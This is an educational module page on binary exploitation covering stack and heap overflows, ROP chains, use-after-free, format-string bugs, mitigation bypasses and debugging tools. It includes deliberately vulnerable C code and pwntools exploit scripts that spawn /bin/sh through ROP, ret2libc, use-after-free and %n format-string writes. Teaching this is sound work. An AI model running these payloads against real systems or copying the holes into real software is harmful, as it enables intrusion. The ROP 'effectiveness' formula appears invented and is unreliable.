Skip to content

Binary Exploitation

Module Overview

This module introduces the fundamentals of binary exploitation, covering memory corruption vulnerabilities, exploit development techniques, and modern exploitation mitigations.

Learning Objectives

By the end of this module, you will be able to:

  • Understand memory layout and stack/heap structures
  • Identify and exploit buffer overflow vulnerabilities
  • Develop Return-Oriented Programming (ROP) chains
  • Bypass modern exploitation mitigations
  • Use debugging tools for exploit development

Binary Exploitation Fundamentals

graph TB
    A[Binary Analysis] --> B[Vulnerability Discovery]
    B --> C{Vulnerability Type?}
    C -->|Stack Overflow| D[Stack Exploitation]
    C -->|Heap Overflow| E[Heap Exploitation]
    C -->|Format String| F[Format String Attack]
    D --> G[Mitigation Bypass]
    E --> G
    F --> G
    G --> H[Code Execution]

Memory Layout Overview

Memory Section Purpose Permissions Exploitation Target
Stack Local variables, function calls RW- Buffer overflows, ROP
Heap Dynamic allocation RW- Use-after-free, double-free
Code (.text) Executable instructions R-X ROP gadgets, JOP targets
Data (.data) Initialized global variables RW- GOT overwrites
BSS Uninitialized globals RW- Global variable corruption

Stack-Based Buffer Overflows

Basic Stack Overflow

#include <stdio.h>
#include <string.h>

void vulnerable_function(char *input) {
    char buffer[64];
    strcpy(buffer, input);  // Vulnerable!
    printf("Input: %s\n", buffer);
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage: %s <input>\n", argv[0]);
        return 1;
    }
    vulnerable_function(argv[1]);
    return 0;
}
#!/usr/bin/env python3
import struct

# Basic overflow payload
buffer_size = 64
padding = b"A" * (buffer_size + 8)  # Fill buffer + saved RBP
ret_addr = struct.pack("<Q", 0x41414141)  # Overwrite return address

payload = padding + ret_addr
print(payload)
#!/usr/bin/env python3
from pwn import *

# ROP chain construction
elf = ELF('./vulnerable_binary')
rop = ROP(elf)

# Build ROP chain
rop.call('system', ['/bin/sh'])

payload = b"A" * 72  # Offset to return address
payload += rop.chain()

p = process('./vulnerable_binary')
p.sendline(payload)
p.interactive()

Stack Canaries Bypass

Stack Protection

Modern binaries often include stack canaries to detect buffer overflows. Various bypass techniques exist.

// Canary bypass through format string
printf(user_input);  // Format string vulnerability

// Leak canary value
payload = b"%7$p"  // Leak stack canary (adjust offset)

Return-Oriented Programming (ROP)

ROP Chain Mathematics

The effectiveness of a ROP chain can be calculated using:

\[E_{rop} = \prod_{i=1}^{n} P(gadget_i) \times R_{reliability}\]

Where: - \(P(gadget_i)\) = Probability that gadget \(i\) executes successfully - \(R_{reliability}\) = Overall chain reliability factor

Gadget Discovery

# Using objdump
objdump -d binary | grep -E "(ret|pop|mov)"

# Using ROPgadget
ROPgadget --binary vulnerable_app --only "pop|ret"

# Using radare2
r2 -A binary
[0x00400000]> /R pop
from pwn import *

# Load binary
elf = ELF('./binary')
rop = ROP(elf)

# Find gadgets
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]

# Build chain
rop.raw(pop_rdi)
rop.raw(next(elf.search(b'/bin/sh')))
rop.call('system')

Heap Exploitation

Heap Structure Analysis

graph LR
    A[Heap Manager] --> B[Malloc Chunks]
    B --> C[In-Use Chunks]
    B --> D[Free Chunks]
    D --> E[Fastbins]
    D --> F[Smallbins]
    D --> G[Largebins]
    C --> H[User Data]
    C --> I[Metadata]

Use-After-Free Exploitation

struct user {
    char name[32];
    void (*print_info)(struct user*);
};

struct user *u = malloc(sizeof(struct user));
// ... use object ...
free(u);
// ... u is still accessible (dangling pointer) ...
u->print_info(u);  // Use after free!
# UAF exploitation strategy
def exploit_uaf():
    # 1. Allocate object
    create_user("victim")

    # 2. Free object but keep reference
    delete_user(0)

    # 3. Allocate object of same size with controlled data
    fake_vtable = p64(system_plt)
    create_user(fake_vtable + b"/bin/sh\x00")

    # 4. Use freed object (now contains attacker data)
    print_user(0)  # Triggers system("/bin/sh")

Format String Vulnerabilities

Information Disclosure

// Vulnerable function
void vuln(char *input) {
    printf(input);  // No format specifier!
}

// Exploitation
// %p = Read pointer from stack
// %x = Read hex value
// %s = Read string (dangerous!)
# Using %n to write to memory
target_addr = 0x08049724  # Address to overwrite

# Calculate bytes needed
value = 0x41414141

# Build format string
payload = p32(target_addr)
payload += f"%{value - 4}x%6$n".encode()

Modern Mitigations

Address Space Layout Randomization (ASLR)

Component Randomized Bypass Technique
Stack Info leaks, brute force
Heap Heap spraying, info leaks
Libraries Return-to-PLT, info leaks
Executable ❌ (PIE disabled) Direct ROP gadgets

NX/DEP Bypass Strategies

Common Bypass Methods

  • Return-to-libc: Jump to existing library functions
  • ROP chains: Chain together existing code gadgets
  • JOP (Jump-Oriented Programming): Use indirect jumps instead of returns
  • ret2dlresolve: Abuse dynamic linker resolution
# ret2libc example
def ret2libc_exploit():
    # Leak libc address
    payload1 = flat([
        b"A" * offset,
        rop.puts,
        rop.plt.puts,
        rop.got.puts,
        rop.main  # Return to main for second stage
    ])

    # Calculate libc base and system address
    libc_base = leaked_puts - libc.symbols['puts']
    system_addr = libc_base + libc.symbols['system']
    bin_sh = libc_base + next(libc.search(b'/bin/sh'))

    # Second stage payload
    payload2 = flat([
        b"A" * offset,
        system_addr,
        bin_sh
    ])

Debugging and Analysis Tools

GDB with PEDA/GEF

# Load binary in GDB
gdb ./vulnerable_binary

# Set breakpoints
(gdb) break main
(gdb) break *0x400123

# Examine memory
(gdb) x/20wx $rsp
(gdb) x/10i $rip

# Pattern creation and offset finding
(gdb) pattern create 200
(gdb) pattern offset $rsp
# Heap analysis
(gdb) heap chunks
(gdb) heap bins

# ROP gadget search
(gdb) ropgadget

# Security mitigations check
(gdb) checksec

Static Analysis Tools

Tool Type Platform Primary Use Learning Curve
GDB Debugger Linux/Unix Dynamic analysis and debugging Medium
Radare2 Reverse Engineering Framework Cross-platform Static/dynamic analysis High
IDA Pro Disassembler Cross-platform Advanced reverse engineering High
Ghidra Reverse Engineering Suite Cross-platform Static analysis and decompilation Medium
Binary Ninja Reverse Engineering Platform Cross-platform Binary analysis and visualization Medium
objdump Binary Analysis Linux/Unix Basic disassembly and analysis Low
strings String Extraction Cross-platform String analysis Low
hexdump Hex Viewer Cross-platform Raw binary inspection Low
ltrace Library Call Tracer Linux Dynamic library call analysis Low
strace System Call Tracer Linux System call monitoring Low

Practical Exercises

Exercise 1: Basic Stack Overflow

Challenge

Exploit a simple stack buffer overflow to redirect execution flow.

Solution Approach
flowchart TD
    A[Analyze Binary] --> B[Find Offset]
    B --> C[Control RIP]
    C --> D[Check Mitigations]
    D --> E{NX Enabled?}
    E -->|Yes| F[Build ROP Chain]
    E -->|No| G[Inject Shellcode]
    F --> H[Execute System]
    G --> H

Exercise 2: Format String Exploitation

Challenge

Use a format string vulnerability to leak memory and gain code execution.

Key Steps
  1. Identify format string bug:

    printf(user_input);  // Vulnerable
    

  2. Leak stack/heap addresses:

    payload = b"%p." * 20  # Leak multiple stack values
    

  3. Overwrite return address:

    # Use %n to write calculated value
    payload = p32(ret_addr) + f"%{target-4}x%6$n".encode()
    

Advanced Topics

Kernel Exploitation Basics

Kernel vs Userland

Kernel exploitation requires understanding of: - Ring 0 vs Ring 3 execution - Kernel memory layout - System call interface - Privilege escalation techniques

Return-to-Userland Attacks

// Kernel vulnerability example
static long device_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
    char buffer[128];

    if (copy_from_user(buffer, (void __user *)arg, 256)) {  // Overflow!
        return -EFAULT;
    }

    return 0;
}

Key Takeaways

Essential Concepts

  • Memory corruption is the foundation of most binary exploits
  • Modern mitigations significantly complicate exploitation but don't eliminate it
  • Information leaks are crucial for bypassing ASLR and other protections
  • Tool proficiency in debuggers and analysis frameworks is essential
  • Practice with CTF challenges and vulnerable applications builds expertise

Additional Resources


This module provides foundational knowledge for understanding and developing binary exploits while emphasizing the importance of responsible disclosure and ethical hacking practices.